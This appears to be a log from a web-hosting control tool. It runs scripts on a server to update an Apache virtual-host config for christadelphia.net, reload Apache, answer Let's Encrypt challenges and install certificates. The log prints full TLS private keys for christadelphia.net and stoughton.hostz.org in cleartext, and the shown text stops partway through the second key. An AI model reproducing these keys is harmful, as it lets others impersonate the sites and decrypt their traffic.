echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/christadelphia_www_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-07 06:00:55:
chmod 755 /tmp/pkp945650; /tmp/pkp945650; rm /tmp/pkp945650
2025-10-07 06:00:55:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf 46
<VirtualHost *:80>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-07 06:00:55:
PUT: /tmp/pkp998397
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphia_www_net.conf
TARGET=/etc/apache2/sites-enabled/christadelphia_www_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/christadelphia_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/christadelphia_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf= 1'
fi
2025-10-07 06:00:55:
chmod 755 /tmp/pkp998397; /tmp/pkp998397; rm /tmp/pkp998397
2025-10-07 06:00:55:
2025-10-07 06:00:55:
PUT: /tmp/pkp734602
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-07 06:00:55:
chmod 755 /tmp/pkp734602; /tmp/pkp734602; rm /tmp/pkp734602
2025-10-07 06:00:56:
.
2025-10-07 06:00:56: Establishing a connection
2025-10-07 06:00:56:
PUT: /tmp/pkp366454
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-07 06:00:56:
chmod 755 /tmp/pkp366454; /tmp/pkp366454; rm /tmp/pkp366454
2025-10-07 06:00:56:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
alias www.aletheiacollege.net
port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
alias www.christadelphia.net
port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
alias www.gospelstudies.net
port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
alias www.heaster.org
port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
alias www.hristadelfiane.org
port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
alias www.osnovybiblii.info
port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
alias www.realdevil.info
*:443 is a NameVirtualHost
default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
alias www.aletheiacollege.net
port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
alias www.christadelphia.net
port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
alias www.gospelstudies.net
port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
alias www.heaster.org
port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
alias www.hristadelfiane.org
port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
alias www.osnovybiblii.info
port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-10-07 06:00:56:
PUT: /tmp/pkp221885
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/christadelphia_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-07 06:00:56:
chmod 755 /tmp/pkp221885; /tmp/pkp221885; rm /tmp/pkp221885
2025-10-07 06:00:56:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf 1431
<VirtualHost *:80>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-07 06:00:56:
PUT: /tmp/pkp327766
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-07 06:00:56:
chmod 755 /tmp/pkp327766; /tmp/pkp327766; rm /tmp/pkp327766
2025-10-07 06:00:56:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt 5389
8f:2d:52:2d:b7:af:66:06:87:3d:a7:b5:4d:b5:0d:77
-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBVm6RwOcSBs2Uwz2yOlvx3kVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA3MDUwMjI0WhcNMjYwMTA1MDUwMjIzWjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCuTL/sy0dPNYCfkhrnLmCswL5FN24pqMgnV3RVqrvcYO1vHXzpa0RzAdSh
IiIgRhDfuptkR7fVhRcj+FDJC6FCF5hhniOQQOwBVKUgNO9j+C7GiqHU/KbKkoWP
ifvDL1OVgdFwcGgFCgkDatSakWxl2WQdEEHMGB0SECH77cJC5WtedR++Q6VqCV6W
aj9/HkLeD0P6GhU6cbxEzIjCstO9sxRJ+mYL9OhPAIVoHSALQheoMcjPDzYgoix1
4K+olZlLVPuudO0OWJBqysJftWqCrAKi9Z+VOrkmuLWin2dlXXS4Gzvfu74e+576
kzrfrPwenJ/4CCl6ef8OrctPPybpAgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFNHsyIBeAY2SSl7WkYlWZXsiJFuKMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY2hyaXN0YWRlbHBoaWEu
bmV0ghZ3d3cuY2hyaXN0YWRlbHBoaWEubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMjIuY3Js
MIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAGYbUxyiqb/66A294Kk0BkarOLXIx
D67OXXBBLSVMx9QAAAGZvUIr8gAABAMARzBFAiEA/YOa1PMHFKhyXCNWx6jLE8Jv
rPzlKfPVs/SecvpIyF0CIAVOYFMndKm6aJ70N2xt5jG9PbfB6J/jiPfzfL2TDvtA
AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGZvUIr/wAABAMA
RjBEAiBYlIlVUBOfm2sOk45tdYbXQnZ82HWWIo/xFvDAhMDojgIgJ9t6oDtNcI3a
jHG+son+mnDH8/Iss8b+vY4UEFtHNuAwDQYJKoZIhvcNAQELBQADggEBAHGfKKbc
Izb0MgFalhdgUfmdN+Nd49o/jIFITqUOHqB9xnVYKIFEDDOx0MiZ7n8j1WyEyezw
G0eskKnwBANlP4WMCgMXXK5e4s2QGcqehaBUU3zBIGAyn2tP+LTvyMYVBmldphCG
ZNPG+lVPQA4sWO2ZBTg/oTKVWUTF5wTq6JBp0b3zG55VqMJMVW9/1FTme/g1W6Xv
MATePD8SGWbPt2dNuD+l3IGGaAdyfzjEpwNLXZ45YGoFVjIXYvaPXdvrX+gX9ERq
z4VOaeoy189EdCT/TOhvOlnQuyafmI342YMKLpaL4ZLjlF3H9NCQnObJMtvSOx53
pfZNQ225fTssGt8=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCuTL/sy0dPNYCf
khrnLmCswL5FN24pqMgnV3RVqrvcYO1vHXzpa0RzAdShIiIgRhDfuptkR7fVhRcj
+FDJC6FCF5hhniOQQOwBVKUgNO9j+C7GiqHU/KbKkoWPifvDL1OVgdFwcGgFCgkD
atSakWxl2WQdEEHMGB0SECH77cJC5WtedR++Q6VqCV6Waj9/HkLeD0P6GhU6cbxE
zIjCstO9sxRJ+mYL9OhPAIVoHSALQheoMcjPDzYgoix14K+olZlLVPuudO0OWJBq
ysJftWqCrAKi9Z+VOrkmuLWin2dlXXS4Gzvfu74e+576kzrfrPwenJ/4CCl6ef8O
rctPPybpAgMBAAECggEALXW9FQCLz7/vlS7hL2ysMEJxHdJwPBNWaNRpdjJ6nub0
5mc1fhfJGYnfsEsbxXkgy4l7H/OIofr9ZxdL0rPi0j8fMk6xjd0w8MPn8Xd8/IDt
ikD8JnXi9rCyfxaJAIZmcXcTbhUTPEU6xpZlbw8Ay6ugbeggkR+07VIh2vhPE20e
ZjBHXuUfM8ymRQdAEEwygT+eduItLxIypSEYWfzNbNdGrF2ansamB3/9pV4bGMRx
l5vMLw+0MCgbVWjn+G+CaOgS7bDRszVrfygY+84XURYcXmZNryBlr/HZWYO4TW/t
PImJ9CjyMNfzr7TtWUZVnHzxck5qMTDk6UhwsnlGJQKBgQDgxB0z6y9uI3YnoVJT
vBzjcuT6JGL/mLhJM7B/sSSLpSMQWxFXCogbp7T+Z9DO4zHnUV6ulo/wb5Eg6kwU
O5MvnbthXUj962OXZj74HOqc+DEHtTGY1NfQwKlSa1+4rwyy9W38cv6TbKYABrqH
4E26aO0I3fbP/UVxSD6S6ujZPwKBgQDGhVXvlMSJkytJ+52WnCLshjJV1rlYUfOn
Z/q4ONpT/jFWt0RfeICSZCNqw6zlYnrg+c/yBlswbTOt5ufuz+EyRbpf7PrhA08X
1OF0rzVzlkpu6spM6Wv8kUKp/byIVsoW7VWUpdUUYlsQhwPkSJGkAXXuIPlk4J7f
i9rFBreN1wKBgDZXlAvqb8Q8NKPuP/5Yu89OBwhnZbwQS3X/Vkv5IzHUEj8xFWcq
969gA8WCihyLF5Squq6RXmmuP7NqkkxN/w8DHruylyQ1FhYTtWO9cgfThd8sMrqV
szwYaJexuCnpwLM/3YCsuNoh6ZyWA+E4HPLVzYFYUQUGYhS6d86Dlxp3AoGALzff
rNCRvrdGgJ5caUpR9DgnGMut4hf8AEF3HQJIy9mWGq4UkTC0RB2VXvuT0CuQVpqU
n1hrsCUJOb/GQsMnKTH0loRjV8nVsjFsPri92fRRV/h4jbqneLeER7KWeUdLYhCp
XmXjPKn4RwIWJuIr4fqG9lDZgOj8YOd+7YYfepkCgYB0aCJDHPfGXh+fv/6ODtrg
pvaczbAOqRCW3pDgtEF+82LvxG6/YOJZeW+/LyZgC5gRtsQBVB1OeQ/jADO+r1Bj
Gtog6cQ30jljcV0Bz0UobONjNoDdbO/Pj+xDrSJgOdMChwhn4Ke5hQXjqX97Pjdg
o8KzpZeHNN4M/i1TT4vDeQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-07 06:00:57: Establishing a connection
2025-10-07 06:00:58: Establishing a connection
2025-10-07 06:00:59:
PUT: /tmp/pkp837237
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-07 06:00:59:
chmod 755 /tmp/pkp837237; /tmp/pkp837237; rm /tmp/pkp837237
2025-10-07 06:01:00:
0
2025-10-07 11:48:42: Establishing a connection
2025-10-08 06:00:01: Establishing a connection
2025-10-08 06:00:03: Establishing a connection
2025-10-08 06:00:04:
PUT: /tmp/pkp661320
#!/bin/bash
if [ -d "/var/www/hostz_stoughton/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-08 06:00:05:
chmod 755 /tmp/pkp661320; /tmp/pkp661320; rm /tmp/pkp661320
2025-10-08 06:00:05:
1
2025-10-08 06:00:07: Establishing a connection
2025-10-08 06:00:08:
PUT: /tmp/pkp968395
#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cat > gU8jgCNfi4s9XZLDqOpNhppFrCEVKwpXCJezyvkNSCQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
gU8jgCNfi4s9XZLDqOpNhppFrCEVKwpXCJezyvkNSCQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 gU8jgCNfi4s9XZLDqOpNhppFrCEVKwpXCJezyvkNSCQ
2025-10-08 06:00:09:
chmod 755 /tmp/pkp968395; /tmp/pkp968395; rm /tmp/pkp968395
2025-10-08 06:00:09:
2025-10-08 06:00:15: Establishing a connection
2025-10-08 06:00:16:
PUT: /tmp/pkp423468
#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
rm gU8jgCNfi4s9XZLDqOpNhppFrCEVKwpXCJezyvkNSCQ
2025-10-08 06:00:17:
chmod 755 /tmp/pkp423468; /tmp/pkp423468; rm /tmp/pkp423468
2025-10-08 06:00:18:
2025-10-08 06:00:18: Establishing a connection
2025-10-08 06:00:19:
PUT: /tmp/pkp156812
#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d
cat > $temp_file <<'endmsg'
74:89:b8:0a:cb:c3:7b:49:1d:53:21:32:e2:f0:32:53
-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBWh1tbVXfZGdqRGgeNJiL+IIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA4MDUwMTQ0WhcNMjYwMTA2MDUwMTQzWjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAr2vzrAnuthF/kRKXKDKtZ+q9vq4YtDDbNs3Br+rNwjjsXgJFXlgLGlVZ
DsGSghDpA0UHRnic/+ra5YOIZ2X2813pp5ZQIY3cdGU0Kd6+8Athd3nmfb/r6Kc6
3cLsJcEXm421XL7KDLaejYX2eYMUEkY3XNJbxP/gyMDwhYXffWzUcCoUeGOA7AYO
U9dWVh5x9Fx9INLAJtwWGmZb0EUnccRek43Qv1Uhg+j4e1SeLWzKicGecONEY0Q2
uc//DoeSQ6YnkQjrBUQL82ZNRNA4GDTn9t39PZoLlKLVacpjMOJVeD5fBKdS/bdt
fjFRpc+aaFLneZMKtEANexlkwxdMQQIDAQABo4ICITCCAh0wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTWXXL/88GAo6b7OTWIQy8s84jsXjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3N0b3VnaHRvbi5ob3N0
ei5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYcaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy85LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA
7wB2AO08S9boBsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAABmcJn7u0AAAQD
AEcwRQIgDKglhOMEM8LHWUBTbbwePxQjvaJZW+aqg9OTXbLe7PkCIQCR5016KBeJ
AUMVeJyUbcyct7YcR1kCW7PDi87M5tBgMQB1ABmG1Mcoqm/+ugNveCpNAZGqzi1y
MQ+uzl1wQS0lTMfUAAABmcJn7vQAAAQDAEYwRAIgXRY7n2wAOMTpNOkweREuL8XF
7sRCeWZ39h8QjliiqQUCIHmu57zPwtj1Z2yJTyEcV5bIjKgfigihD1Cvv3pCHf6w
MA0GCSqGSIb3DQEBCwUAA4IBAQCN3RiB7kOUgYmBHGFoGTZxHd9FUQ97r1T6Bz2L
KdFcbQYqiNlKUNU4yAZAKnMyGpGrJ2bhm2t+GlIB5yfuU6VMgIFAUOTkB3u/4Hhb
/32Se0MYMVw5s6x5RjzZ828ea5A4JDbfLdP3mkdIOKp+AAZfaofQjsW4a3gPMdlw
VyNH/X3ylFVfEcBC1cqHZV3HPkmtsXygcE/nGGXnw2Mn/iuIOQJW/TbF2SaTfuq6
UeaKJ7cM1Etw7BJFYz1vTBv9P+CbGiR2oOFJwJ7TwI+tRvFvgDmAInZznpZm7TlG
QhgPc+D8up0LwaKq+J/KVm0f2yN/stkdXVXtFg1KgGfSAt2L
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCva/OsCe62EX+R
EpcoMq1n6r2+rhi0MNs2zcGv6s3COOxeAkVeWAsaVVkOwZKCEOkDRQdGeJz/6trl
g4hnZfbzXemnllAhjdx0ZTQp3r7wC2F3eeZ9v+vopzrdwuwlwRebjbVcvsoMtp6N
hfZ5gxQSRjdc0lvE/+DIwPCFhd99bNRwKhR4Y4DsBg5T11ZWHnH0XH0g0sAm3BYa
ZlvQRSdxxF6TjdC/VSGD6Ph7VJ4tbMqJwZ5w40RjRDa5z/8Oh5JDpieRCOsFRAvz
Zk1E0DgYNOf23f09mguUotVpymMw4lV4Pl8Ep1L9t21+MVGlz5poUud5kwq0QA17
GWTDF0xBAgMBAAECggEAV5grG+v1w/pm3bUPv6XWiv5fcxiSA2AmBm6l2ccAqYwt
EyBFLT//g028465rDwGMqPJOGLVfiDboyRRuB1uV/Z4Wb3WSW77vpztl2cZ9R3YX
XEaFfqNYFFt0/Ik5y/xoYmdXeZFXaRPDhl2vXqvCWQGw4Wu1IWC4COa286WOnJzo
QRonL7ZVXGbDnv3hJxJ+BLfimN1KHvGpRv8wm7V4gnsfqyhSq3ECjPsQsjsJIuEg
3CZEx0dZDSL3KNvhpPkrLHySPaUAtUXDtOFkcdwcWVYvscTxvKy7qz/6G8PIsAie
VvZ52Qo9JYbL/xZEGnJbH27pB1p/ZDYEpuUQyjc08QKBgQDh8aI3k7DDxO4VGdug
xDpUkAwt/RMUPMrScGiKuiFXnoY+F3C33glj5PjktkeM1NQU8uj6qEshy/MgzQ5+
E+h0Usm+wmAy4T3yvvoABy/eG+MDfOwFug0C+7Ixv/j5d+px7jo+/Oa3HB5UItZx
R/66d0HYpBldGlAnp77yrW6W7QKBgQDGwdGnGuXoMhVqUnburSv9WyFqwYbm32ge
ZigYFDD/0XZDCykrR/Ldx8KPH+Yfh4fyer7xS4nfI7A1SaSgRWyersy6FYgKdSBm
FPWIsRgHxc6CRwuXG+1IPlrqpi5oDsYaESvlxSYPlvAhjFbOnm2peTC4i/Xt2hqi
dOVHWr3sJQKBgQCvTIk+M4E+sqjBiFllZzmWaFh6ydImrm/yS7Jgh77cuyqOPCOB
